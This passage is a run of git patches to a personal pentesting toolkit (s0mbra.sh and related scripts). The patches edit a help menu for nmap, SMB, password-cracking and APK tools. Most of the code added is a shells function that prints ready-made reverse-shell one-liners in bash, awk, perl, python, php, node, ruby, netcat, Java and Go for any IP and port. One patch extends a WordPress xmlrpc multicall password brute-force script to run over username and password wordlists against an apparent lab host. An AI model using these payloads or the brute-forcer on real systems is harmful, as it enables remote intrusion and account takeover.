bucket (ls, cp, mv etc.)" - echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [BUCKET]" - echo -e "$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [BUCKET] - requires READ permissions (check with s3)" + echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR" + echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR" + echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" - echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t -> runs HTTP server on [PORT] TCP port; STACK: python,php" - echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR" + echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR" + echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR" + echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR" + echo -e "$CYAN smb_umount $CLR" + echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" - echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" - echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: STATIC APPLICATION SECURITY TESTING ::\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" - echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" - echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" - echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t -> Static Code Analysis of Ruby dir(s)/file(s) with brakeman" - echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" + echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" + + echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" + echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" - echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" - echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t$CYAN hashme $GRAY[STRING]$CLR" echo -e "$CLR" ;; esac From 5adb1ed41ad5362fc9c32b297e2698ea7ce12a63 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 28 Jan 2023 17:08:29 +0000 Subject: [PATCH 363/460] [s0mbra] update menu --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4e841a3..6e40d24 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -865,7 +865,7 @@ case "$cmd" in echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From 600a672306a35aae5536a3ef79710dff4daec5cb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 2 Feb 2023 22:09:58 +0000 Subject: [PATCH 364/460] [s0mbra] fix for missing IP in generate_shells() --- s0mbra.sh | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6e40d24..bed9868 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -665,26 +665,21 @@ generate_shells() { echo -e "$BLUE[s0mbra] OK, here are your shellz...\n$CLR" - echo -e " $CLR[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e " $CLR[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e " $CLR[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e " $CLR[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" - echo -e "$NEWLINE" + echo -e "$YELLOW[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "$YELLOW[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "$YELLOW[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$YELLOW[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $1 $port 0backpipe" echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" echo -e "\033[1;34m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "$NEWLINE" echo -e "\033[1;36m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" - echo -e "$NEWLINE" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "$NEWLINE" echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "$NEWLINE" echo -e "\033[36m[netcat]\033[0m nc -e /bin/sh $1 $port" echo -e "\033[36m[netcat]\033[0m nc -c /bin/sh $1 $port" echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" From 8497ce0534373f6ffc063e1dd28951e42f942d49 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Feb 2023 06:40:05 +0000 Subject: [PATCH 365/460] [s0mbra] generated reverse shells - updated --- s0mbra.sh | 64 ++++++++++++++++++++++++++++++++++--------------------- 1 file changed, 40 insertions(+), 24 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bed9868..d1b4375 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -659,32 +659,48 @@ abe() { } # generates reverse shells in various languages for given IP:PORT -generate_shells() { +shells() { clear port=$2 echo -e "$BLUE[s0mbra] OK, here are your shellz...\n$CLR" - echo -e "$YELLOW[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e "$YELLOW[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "$YELLOW[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e "$YELLOW[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $1 $port 0backpipe" - echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" - echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "\033[1;34m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "\033[1;36m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" - echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "\033[36m[netcat]\033[0m nc -e /bin/sh $1 $port" - echo -e "\033[36m[netcat]\033[0m nc -c /bin/sh $1 $port" - echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" - echo -e "\033[36m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" - echo -e "\033[36m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$YELLOW[bash]\033[0m\t\tbash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "$YELLOW[bash]\033[0m\t\t0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "$YELLOW[bash]\033[0m\t\trm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$YELLOW[bash]\033[0m\t\trm -f backpipe; mknod /tmp/backpipe p && nc $1 $port 0backpipe" + echo + echo -e "\033[1;31m[gawk]\033[0m\t\tgawk 'BEGIN {P=$port;S=\"cmd> \";H=\"$1\";V=\"/inet/tcp/0/\"H\"/\"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print \$0|&V;close(c)}}while(c!=\"exit\")close(V)}}'" + echo -e "\033[1;31m[awk]\033[0m\t\tawk 'BEGIN {s = \"/inet/tcp/0/$1/$port\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print \$0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null" + echo + echo -e "\033[1;34m[perl]\033[0m\t\tperl -e 'use Socket;\$i=\"$1\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + echo -e "\033[1;34m[perl]\033[0m\t\tperl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[1;34m[perl]\033[0m\t\tperl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo + echo -e "\033[1;36m[python]\033[0m\tpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" + echo + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec('bash -i >& /dev/tcp/$1/$port 0>&1');\"" + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec('nc -e /bin/sh $1 $port')\"" + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec(\"bash -c 'bash -i >& /dev/tcp/$1/$port 0>&1'\")\"" + echo + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo + echo -e "\033[36m[nc]\033[0m\t\tnc -e /bin/sh $1 $port" + echo -e "\033[36m[nc]\033[0m\t\tnc -c /bin/sh $1 $port" + echo -e "\033[36m[nc]\033[0m\t\t/bin/sh | nc $1 $port" + echo -e "\033[36m[nc]\033[0m\t\trm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" + echo -e "\033[36m[nc]\033[0m\t\trm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo + echo -e "\033[1;35m[Java]\033[0m\t\tr = Runtime.getRuntime();p = r.exec([\"/bin/bash","-c","exec 5<>/dev/tcp/$1/$port;cat <&5 | while read line; do \$line 2>&5 >&5; done\"] as String[]);p.waitFor()" + echo + echo -e "\033[1;32m[Go]\033[0m\t\techo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"$1:$port\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;http://cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go" echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -824,8 +840,8 @@ case "$cmd" in discloS3) discloS3 "$2" ;; - generate_shells) - generate_shells "$2" "$3" + shells) + shells "$2" "$3" ;; rubysast) ruby_sast "$2" @@ -847,7 +863,7 @@ case "$cmd" in echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR" - echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR" + echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN shells $GRAY[IP] [PORT] $CLR" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR" echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR" echo -e "$CYAN smb_umount $CLR" From 2873bc730255feb5051df5e5302d781fe251f2b8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Feb 2023 14:44:38 +0000 Subject: [PATCH 366/460] [s0mbra] Added apk_to_studio command --- s0mbra.sh | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d1b4375..c842f60 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -626,7 +626,7 @@ ruby_sast() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# deso stuff with Android APK file +# does stuff with Android APK file apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -640,6 +640,14 @@ apk() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# xreate Android Studio project from Android apk file +apk_to_studio() { + clear + echo -e "$BLUE[s0mbra] Creating Android Studio project from APK file...$YELLOW" + /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx --deobf -e -d out "$1" + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # extracts Androind .ab archive abe() { clear @@ -792,6 +800,9 @@ case "$cmd" in apk) apk "$2" ;; + apk_to_studio) + apk_to_studio "$2" + ;; abe) abe "$2" ;; @@ -880,6 +891,7 @@ case "$cmd" in echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN apk_to_studio $GRAY[.apk FILE]$CLR\t$YELLOW(Java)$CLR" echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t$CYAN hashme $GRAY[STRING]$CLR" echo -e "$CLR" From 3bf80b3075d941cc769c3e3b286fc94c02edca42 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 22 Feb 2023 14:11:08 +0000 Subject: [PATCH 367/460] [s0mbra] abe() - remove .ab default extension --- s0mbra.sh | 2 +- xmlrpc_amplif_bruteforce.py | 20 ++++++++++---------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c842f60..99c0fd8 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -652,7 +652,7 @@ apk_to_studio() { abe() { clear echo -e "$BLUE[s0mbra] Extracting $1.ab backup into $1.tar...$CLR" - java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1.ab $1.tar + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1 $1.tar if [[ "$?" == 0 ]]; then echo -e "\n$GREEN[s0mbra] Success! $1.ab unpacked and $1.tar was created..." echo -e "[s0mbra] Let's untar some files, shall we?$CLR" diff --git a/xmlrpc_amplif_bruteforce.py b/xmlrpc_amplif_bruteforce.py index 0e2b30c..3993b1c 100644 --- a/xmlrpc_amplif_bruteforce.py +++ b/xmlrpc_amplif_bruteforce.py @@ -8,7 +8,9 @@ output = open("./output.txt", "w") passwords = open( "/Users/bl4de/hacking/dictionaries/100000_passwords.txt").readlines() -host = "HOST.com" +usernames = open( + "/Users/bl4de/hacking/dictionaries/SecLists/Usernames/top-usernames-shortlist.txt").readlines() +host = "metapress.htb" # headers used in POST requests h = { @@ -19,7 +21,7 @@ index = 0 # XMLRPC url -url = f"https://{host}/xmlrpc.php" +url = "http://metapress.htb/xmlrpc.php" print("[+] building payload...") # building payload for system.multicall wp.getUsersBlogs @@ -92,7 +94,7 @@ def send_request_with_username(username, passwords): payload = payload_start + payload + payload_end - print(payload) + # print(payload) print("[+] sending POST request with payload... ({} credentials in total checked)".format(total)) resp = requests.post(url, headers=h, data=payload) @@ -100,7 +102,7 @@ def send_request_with_username(username, passwords): if resp.status_code == 200: print("[+] response HTTP 200 OK received, analysing results...") # p0wned. This is the end :P - if "isAdmin" in resp.content: + if b"isAdmin" in resp.content: print("[+] SUCCESS !!! Matching username/password for {} found!, please review response content for details...").format(username) output.write(resp.content) exit(0) @@ -117,11 +119,9 @@ def send_request_with_username(username, passwords): print(resp.content) -# for username in usernames: -# send_request_with_username("trapcall", ["123456"]) - -for i in range(0, 100000, 64): - p = passwords[i:i+64] - send_request_with_username("trapcall", p) +for username in usernames: + for i in range(0, 100000, 64): + password = passwords[i:i+64] + send_request_with_username(username, password) print("[+] done...\n\n") From 75900eac20ec3b67b1366907dbe381315790c886 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Mar 2023 10:11:17 +0000 Subject: [PATCH 368/460] [denumerator] missing ) in menu --- denumerator/denumerator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 5576f08..69220bd 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -475,7 +475,7 @@ def main(): allowed_http_responses = [] parser.add_argument( - "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored") + "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored)") parser.add_argument( "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( From 82552cd36dcbb580e2eb58ca8d12e5e50d9b97aa Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Mar 2023 10:17:45 +0000 Subject: [PATCH 369/460] [denumerator] Fix flag options in menu to not require values --- denumerator/denumerator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 69220bd..cd25a14 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -479,7 +479,7 @@ def main(): parser.add_argument( "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( - "-s", "--success", 